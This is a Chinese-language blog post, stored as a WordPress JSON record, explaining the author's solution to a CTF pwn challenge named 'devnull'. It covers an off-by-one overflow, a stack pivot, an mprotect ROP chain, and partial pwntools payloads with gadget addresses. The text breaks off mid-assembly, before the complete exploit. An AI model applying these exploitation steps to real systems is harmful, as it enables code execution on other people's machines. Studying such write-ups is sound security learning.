{"id":26,"date":"2024-06-19T21:27:59","date_gmt":"2024-06-19T13:27:59","guid":{"rendered":"http:\/\/39.104.51.85\/?p=26"},"modified":"2024-06-21T00:22:14","modified_gmt":"2024-06-20T16:22:14","slug":"devnull%e4%b8%aa%e4%ba%bawp","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2024\/06\/19\/devnull%e4%b8%aa%e4%ba%bawp\/","title":{"rendered":"devnull\u4e2a\u4ebawp\uff08\u6808\u8fc1\u79fb\uff09"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/19\/devnull%e4%b8%aa%e4%ba%bawp\/#%E4%B8%80%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90\" title=\"\u4e00.\u601d\u8def\u5206\u6790\">\u4e00.\u601d\u8def\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/19\/devnull%e4%b8%aa%e4%ba%bawp\/#%E4%BA%8C%E5%85%B7%E4%BD%93%E5%81%9A%E6%B3%95\" title=\"\u4e8c.\u5177\u4f53\u505a\u6cd5\">\u4e8c.\u5177\u4f53\u505a\u6cd5<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/19\/devnull%e4%b8%aa%e4%ba%bawp\/#%E4%B8%89%E5%AE%8C%E6%95%B4exp\" title=\"\u4e09.\u5b8c\u6574exp\">\u4e09.\u5b8c\u6574exp<\/a><\/li><\/ul><\/nav><\/div>\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%B8%80%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90\"><\/span><strong>\u4e00.\u601d\u8def\u5206\u6790<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u6839\u636e\u6c47\u7f16\u4ee3\u7801\u80fd\u591f\u7ed8\u5236\u51fa\u5982\u4e0b\u6808\u5e27\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"889\" height=\"466\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-28\"  sizes=\"(max-width: 889px) 100vw, 889px\" \/><\/div><\/figure>\n\n\n\n<p>\u7b2c\u4e00\u6b21fgets(s, size_0x21, stdin);\u8fd9\u91cc\u6709\u4e00\u4e2aoff by one\u7684\u6ea2\u51fa\uff0c\u53ef\u4ee5\u5c06fd\u7684\u4f4e\u4f4d03\u6539\u621000\uff0c\u4ece\u800c\u4f7f\u5f97\u63a5\u4e0b\u6765\u7684read\u53d8\u6210\u6807\u51c6\u8bfb\u5165\u3002<\/p>\n\n\n\n<p>\u4e0b\u4e00\u6b21read(fd, &amp;v3, size_44)\u65f6\uff0c\u53ef\u4ee5\u521a\u597d\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u56e0\u6b64\u53d1\u73b0\u6808\u5e27\u6ea2\u51fa\u4e0d\u591f\uff0c\u56e0\u6b64\u8003\u8651\u6808\u8fc1\u79fb\u3002\u540c\u65f6\u6b64\u5904\u8fd8\u53ef\u4ee5\u4fee\u6539buf\u6307\u9488\u7684\u5730\u5740\uff0c\u4ece\u800c\u63a7\u5236\u63a5\u4e0b\u6765\u8bfb\u5165\u6570\u636e\u7684\u4f4d\u7f6e\u3002<\/p>\n\n\n\n<p>\u4e00\u5f00\u59cb\u6211\u60f3\u628abuf\u8bbe\u7f6e\u5230bss\u6bb5\uff0c\u4f46\u662f\u7531\u4e8e\u5728read(fd, &amp;v3, size_44)\u6267\u884c\u4e4b\u540e\u4f1a\u7d27\u63a5\u7740\u6267\u884cretmprotect()\u51fd\u6570\uff0c\u5c06bss\u6bb5\u5168\u90e8\u8bbe\u7f6e\u4e3a\u4e86\u53ea\u8bfb\uff0c\u65e0\u6cd5\u5728\u5199\u5165\uff0c\u56e0\u6b64\u4e00\u5f00\u59cb\u5728\u8fd9\u91cc\u56de\u62a5\u6bb5\u9519\u8bef\uff0c\u6240\u4ee5\u53ea\u80fd\u53e6\u627e\u53ef\u5199\u6bb5\uff0cvmmap\u4e00\u4e0b\uff0c\u53d1\u73b00x3ff000\u5904\u5168\u662f0\uff0c\u5e76\u4e14\u53ef\u8bfb\u53ef\u5199\uff0c\u5199\u5230\u8fd9\u91cc\u5e94\u8be5\u4e0d\u4f1a\u6709\u4ec0\u4e48\u95ee\u9898\uff0c\u6240\u4ee5buf\u4e5f\u7f6e\u4e3a0x3ff000.<\/p>\n\n\n\n<p>\u4e4b\u540e\u6267\u884cread(fd, buf, size_0x60)\uff0c\u5982\u679c\u6b64\u5904\u5199\u5165\u4e86shellcode\uff0c\u5e76\u4e14\u57280x3ff000\u4f4d\u7f6e\u662f\u53ef\u6267\u884c\u7684\uff0c\u90a3\u4e48\u53ea\u9700\u8981\u5c06\u8fd4\u56de\u5730\u5740\u8bbe\u7f6e\u4e3a0x3ff000\uff0c\u4e0d\u5c31\u53ef\u4ee5ret2shellcode\u4e86\u561b\u3002\u56e0\u6b64\u73b0\u5728\u6700\u5173\u952e\u7684\u95ee\u9898\u5c31\u662f\u5982\u4f55\u4fee\u65390x3ff000\u5904\u7684\u6743\u9650\u3002<\/p>\n\n\n\n<p>\u8fd8\u6709\u4e2a\u8981\u6ce8\u610f\u7684\u95ee\u9898\u5c31\u662f\uff0c\u56e0\u4e3aread\u7684\u5927\u5c0f\u6709\u9650\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u6267\u884c\u4e24\u6b21read\uff0c\u7b2c\u4e00\u6b21\u7528\u6765\u6784\u9020\u6267\u884cmprotect\u7684\u6570\u636e\uff0c\u7b2c\u4e8c\u6b21\u5199\u5165shellcode\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BA%8C%E5%85%B7%E4%BD%93%E5%81%9A%E6%B3%95\"><\/span><strong>\u4e8c.\u5177\u4f53\u505a\u6cd5<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u7b2c\u4e00\u6bb5payload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload1=0x1f*b'a'\np.sendline(payload1)<\/code><\/pre>\n\n\n\n<p>\u6b64\u5904\u5229\u7528fgets\u672b\u5c3e\u81ea\u52a8\u586b\u5145\\x00\u6765\u4fee\u6539fd\u6307\u9488\u7684\u503c\u3002\u6ce8\u610f\u6b64\u5904\u662f0x1f\u4e2aa\uff0c\u56e0\u4e3asendline\u8fd8\u4f1a\u53d1\u9001\u4e00\u4e2a\u2019\\n\u2019\uff0c\u518d\u8865\u4e00\u4e2a00\uff0c\u521a\u597d\u8986\u76d6fd\u3002\u8fd9\u91cc\u6bd4\u8f83\u7b80\u5355\uff0c\u4e0d\u591a\u8d58\u8ff0\u3002<\/p>\n\n\n\n<p>\u5728\u8ba8\u8bba\u7b2c\u4e8c\u6bb5payload\u4e4b\u524d\uff0c\u9996\u5148\u8981\u5728\u8fd9\u91cc\u63d0\u53ca\u51e0\u4e2agadget\uff0c\u8fd9\u51e0\u4e2agadget\u4f1a\u5728\u540e\u7eedpayload\u4e2d\u53d1\u6325\u91cd\u8981\u4f5c\u7528\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gadget1=0x4014f7  #\u628aedx\u7f6e\u4e3a7\uff0cleave ret\ngadget2=0x401350  #mov eax &#91;rbp-0x18]\n                  #leave\n                  #ret\ngadget3=0x4012d0  #\u628aesi\u7f6e\u4e3a0x1000\uff0cedi\u7f6e\u4e3aeax\uff0c\u7136\u540ecall mprotect\uff0cpop rbp\uff0cret\ngadget4=0x401354  #leave ret\ngadget5=0x4014ce  #\u6267\u884cread(0,bss,0x60)<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u5c24\u5176\u8981\u6ce8\u610f\u6bcf\u4e2agadget2,3\u4f1a\u6267\u884c\u4e00\u6b21leave ret\uff0c\u8fd9\u91cc\u5f88\u5751\uff0c\u4e5f\u76f4\u63a5\u5bfc\u81f4\u4e86\u6211\u7684payload3\u6784\u9020\u4e863,4\u6b21\u90fd\u4e0d\u5bf9\uff0c\u540e\u9762\u4f1a\u63d0\u5230\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u53ef\u4ee5\u770b\u4e00\u4e0bpayload2\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload2=b'a'*0x14+p64(writeableaddr)+p64(writeableaddr)+p64(gadget4)<\/code><\/pre>\n\n\n\n<p>\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u91cc\u7684writeableaddr\uff0c\u6839\u636e\u6808\u5e27\u5206\u6790\uff0c\u8fd9\u4e2a\u5730\u65b9\u5e94\u8be5\u653e\u7684\u662ffakerbp\u7684\u5730\u5740\uff0c\u7136\u540egadget4\u662fleave ret\uff0c\u6ca1\u4ec0\u4e48\u6bdb\u75c5\uff0c\u5b9e\u73b0\u6808\u8fc1\u79fb\uff0c\u53ef\u662ffakerbp\u7684\u503c\u4e3a\u4ec0\u4e48\u662fwriteableaddr\u5462\uff1f\u8bf7\u63a5\u7740\u5f80\u4e0b\u770b\uff0c\u56e0\u4e3apayload2\u548cpayload3\u7684\u6784\u9020\u662f\u7d27\u5bc6\u7ed3\u5408\u7684\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6211\u4eec\u5148\u8ba4\u4e3a\u4e0a\u9762\u7684payload2\u6210\u529f\u5b9e\u73b0\u4e86\u6808\u8fc1\u79fb\uff0c\u90a3\u4e48\u6839\u636e\u6211\u4eec\u4e00\u5f00\u59cb\u7684\u5206\u6790\uff0c\u6211\u4eec\u73b0\u5728\u60f3\u8981\u505a\u7684\u5c31\u662f\u4fee\u65390x3ff000\u5904\u7684\u6743\u9650\u4e3a7\uff08\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c\uff09\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u8981\u6267\u884cmprotect\uff080x3ff000\uff0c0x1000, 7\uff09\u610f\u5473\u7740call mprotect\u4e4b\u524d\uff0c\u8981\u628ardi\u7f6e\u4e3a0x3ff000\uff0crsi\u7f6e\u4e3a0x1000\uff0crdx\u7f6e\u4e3a7\uff0c\u6211\u4eec\u5230ida\u4e2d\u770b\u4e00\u4e0bgadget2\u5904\u7684\u547d\u4ee4\uff1a<\/p>\n\n\n\n<p>mov &nbsp;&nbsp;&nbsp;&nbsp;esi, 1000h<\/p>\n\n\n\n<p>mov &nbsp;&nbsp;&nbsp;&nbsp;rdi, rax<\/p>\n\n\n\n<p>call &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mprotect<\/p>\n\n\n\n<p>nop<\/p>\n\n\n\n<p>pop &nbsp;&nbsp;&nbsp;&nbsp;rbp<\/p>\n\n\n\n<p>retn<\/p>\n\n\n\n<p>\u4f60\u4f1a\u53d1\u73b0rsi\u5176\u5b9e\u975e\u5e38\u597d\u63a7\u5236\uff0c\u56e0\u6b64\u8981\u8003\u8651\u7684\u5c31\u662f\u63a7\u5236rdi\u548crdx\u4e86\u3002<\/p>\n\n\n\n<p>\u4f60\u53ef\u80fd\u4f1a\u60f3\uff1a\u90a3\u591a\u7b80\u5355\u554a\uff0c\u627e\u5230pop rdi\u548cpop rdx\u4e0d\u5c31\u53ef\u4ee5\u4e86\uff1f\u6211\u4e00\u5f00\u59cb\u4e5f\u662f\u8fd9\u4e48\u60f3\u7684\uff0c\u4e00\u65e6\u627e\u5230\u4e86\u8fd9\u4e24\u4e2apop\uff0c\u90a3\u4e48\u6784\u9020\u4e00\u4e2aROP\u94fe\uff0c\u8f7b\u677e\u89e3\u51b3\uff0c\u53ef\u662f\u5f53\u4f60\u5230ROPgadget\u53bb\u627e\u4e00\u4e0b\u7684\u65f6\u5019\uff0c\u4f60\u5c31\u50bb\u773c\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"831\" height=\"167\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-29\"  sizes=\"(max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u54ce\u563f\uff0c\u4ec0\u4e48\u4e5f\u6ca1\u6709\u3002<\/p>\n\n\n\n<p>\u90a3\u600e\u4e48\u63a7\u5236rdi\u548crdx\u5462\uff1f<\/p>\n\n\n\n<p>\u6211\u4eec\u5148\u6765\u770brdx\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ( !read(fd, buf, size_0x60) )\n\n&nbsp;&nbsp;exit(1);\n&nbsp;&nbsp;stdwrite(\"Thanks\\n\");\n    result = close(1);<\/code><\/pre>\n\n\n\n<p>\u6ce8\u610f\u770b\u8fd9\u51e0\u53e5\u6307\u4ee4\uff0cThanks\\n\u8fd9\u4e0d\u6b63\u597d\u662f7\u4e2a\u5b57\u7b26\u5417\uff1f\u770b\u4e00\u770bstdwrite\u7684\u51fd\u6570\u4f53\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t __fastcall stdwrite(const char *a1)\n{\n  int v2; \/\/ &#91;rsp+1Ch] &#91;rbp-4h]\n  v2 = strlen(a1);\n  return write(1, a1, v2);\n}<\/code><\/pre>\n\n\n\n<p>\u6709v2 = strlen(a1)\uff0c\u4e4b\u540ev2\u6709\u4f5c\u4e3awrite\u7684\u7b2c\u4e09\u4e2a\u53c2\u6570\uff01\uff01\uff01\u8fd9\u4e0d\u5c31\u662frdx\u4e3a7\u5417\uff01\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728read(fd, buf, size_0x60)\u4e4b\u540e\uff0c\u6267\u884c\u4e86stdwrite\uff08\u2018Thanks\\n\u2019\uff09\u4ee5\u540e\uff0crdx\u5c31\u662f7\uff01\u56e0\u6b64\u6211\u53ea\u9700\u8981\u5728\u4fee\u6539rdi\u7684\u503c\uff0c\u5c31\u53ef\u4ee5\u6210\u529f\u8c03\u7528mprotect\u4e86\uff01\u5148\u6765gdb\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"831\" height=\"873\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-30\"  sizes=\"(max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u975e\u5e38\u597d\uff0c\u548c\u6211\u4eec\u9884\u671f\u7684\u4e00\u6837\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u7684\u95ee\u9898\u5c31\u662f\u5982\u4f55\u4fee\u6539rdi\u55bd\uff1f<\/p>\n\n\n\n<p>\u518d\u6b21\u56de\u987egadget3\uff0c\u4f60\u4f1a\u53d1\u73b0mov &nbsp;rdi, rax&nbsp;\u8fd9\u6837\u4e00\u6761\u6307\u4ee4\u3002\u54e6~~rdi\u662f\u901a\u8fc7rax\u6765\u63a7\u5236\u7684\u554a\uff0c\u90a3\u4e48rax\u600e\u4e48\u63a7\u5236\u5462\uff1f\u7ee7\u7eed\u5bfb\u627e\uff0c\u53d1\u73b0\u4e86gadget2\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gadget2=0x401350  #mov eax &#91;rbp-0x18]\n                  #leave\n                  #ret<\/code><\/pre>\n\n\n\n<p>\u770b\u5230\u4e86\u5427\uff0c\u60f3\u8981\u63a7\u5236rax\uff0c\u5c31\u8981\u63a7\u5236rbp-0x18\u7684\u4f4d\u7f6e\uff0c\u522b\u5fd8\u4e86\uff0c\u6211\u4eec\u5728\u8c03\u7528mprotect\u4e4b\u524d\u5df2\u7ecf\u5b9e\u73b0\u4e86\u6808\u8fc1\u79fb\uff0c\u6240\u4ee5\u73b0\u5728\u6808\u5df2\u7ecf\u8fc1\u79fb\u5230\u4e86\u4f60\u81ea\u5df1\u5b9a\u7684\u67d0\u4e2a\u4f4d\u7f6e\uff0c\uff08\u5176\u5b9e\u5c31\u662f0x3ff000\uff0c\u53ea\u4e0d\u8fc7\u6309\u7167\u76ee\u524d\u7684\u5206\u6790\u6211\u4eec\u5e76\u4e0d\u80fd\u786e\u5b9a\u6808\u5e27\u7ed3\u6784\uff09\u6240\u4ee5\u6211\u60f3\u5982\u679c\u4f60\u8ba4\u771f\u8bfb\u5230\u8fd9\u91cc\uff0c\u4f60\u5c31\u5e94\u8be5\u660e\u767d\u4e86\uff0cpayload3\u5c31\u662f\u8981\u6784\u9020\u5047\u6808\u5e27\u7684\u7ed3\u6784\uff0c\u8ba9\u4ed6\u6210\u529f\u7684\u4fee\u6539rdi\uff0c\u7136\u540e\u8c03\u7528mprotect\u3002<\/p>\n\n\n\n<p>\u6700\u96be\u70b9\u6765\u4e86\uff1a\u5982\u4f55\u6784\u9020\u5047\u6808\u5e27<\/p>\n\n\n\n<p>\u5148\u6765\u770b\u6211\u6784\u9020\u7684\uff08\u6210\u529fgetshell\uff09\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"395\" height=\"401\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-31\"  sizes=\"(max-width: 395px) 100vw, 395px\" \/><\/div><\/figure>\n\n\n\n<p>\u63a5\u4e0b\u6765\uff0c\u5bb9\u6211\u7ec6\u7ec6\u89e3\u91ca\uff1a<\/p>\n\n\n\n<p>\u9996\u5148\uff0cpayload2\u4e2dfakerbp\u6307\u5411\u4e860x3ff000\u7684\u4f4d\u7f6e\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728payload2\u6267\u884c\u5b8c\u7b2c\u4e00\u6b21leave ret\u4e4b\u540e\uff0crbp\u4f1a\u6307\u54110x3ff000<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"402\" height=\"324\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-32\"  sizes=\"(max-width: 402px) 100vw, 402px\" \/><\/div><\/figure>\n\n\n\n<p>\u6267\u884c\u5b8c\u7b2c\u4e8c\u6b21leave\u4e4b\u540e\uff0crbp\u4f1a\u6307\u54110x3ff040\uff0c\u800crsp\u5c31\u4f1a\u6307\u54110x3ff008\uff0c\u6b64\u65f6rdx=7\uff0c\u6211\u8981\u4fee\u6539rax\uff0c0x3ff008\u4e2d\u7684\u5185\u5bb90x401350\u5373\u4e3a\u4fee\u6539rax\u7684gadget<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"434\" height=\"338\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-33\"  sizes=\"(max-width: 434px) 100vw, 434px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u6b64\u65f6[rbp-0x18]\u5bf9\u5e94\u7684\u503c\u5373\u4e3a0x3ff000\uff0c\u4e5f\u5c31\u662f\u6211\u60f3\u653e\u8fdbrax\u91cc\u7684\u503c\uff0c\u4fee\u6539\u5b8crax\u4e4b\u540e\uff0c\u6211\u53c8\u4f1a\u6267\u884c\u4e00\u4e2aleave\uff0c\u6b64\u65f6rbp=0\uff0crsp\u6307\u5411\u539f\u5148rbp\u7684\u4f4d\u7f6e\uff0c\u4e5f\u5c31\u662f0x3ff040\uff0c\u518d\u6b21ret\u65f6\u8c03\u75280x4012d0\uff0c\u4e5f\u5c31\u662f\u53bbcall mprotect\u4ece\u800c\u6210\u529f\u4fee\u6539\u6743\u9650\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"526\" height=\"418\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-34\"  sizes=\"(max-width: 526px) 100vw, 526px\" \/><\/div><\/figure>\n\n\n\n<p>call mprotect\u4e4b\u540e\u8fd8\u4f1a\u6267\u884c\u4e00\u4e2apop rbp\uff0c\u5728\u6b64\u6211\u5c06\u5176\u503c\u8bbe\u7f6e\u4e3a0x3ff030\uff0c\u56e0\u4e3a\u6211\u63a5\u4e0b\u6765\u8981\u8c03\u7528read\uff080\uff0c0x3ff000\uff0c0x60\uff09\uff0c\u800c\u6211\u4eec\u6765\u89c2\u5bdf\u4e00\u4e0bread\u90e8\u5206\u7684\u6c47\u7f16\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mov &nbsp;&nbsp;&nbsp;&nbsp;eax, cs:size_0x60\n\nmovsxd &nbsp;rdx, eax\n\nmov &nbsp;&nbsp;&nbsp;&nbsp;rcx, &#91;rbp-0x8]\n\nmov &nbsp;&nbsp;&nbsp;&nbsp;eax, &#91;rbp-0x20]\n\nmov &nbsp;&nbsp;&nbsp;&nbsp;rsi, rcx\n\nmov &nbsp;&nbsp;&nbsp;&nbsp;edi, eax\n\ncall 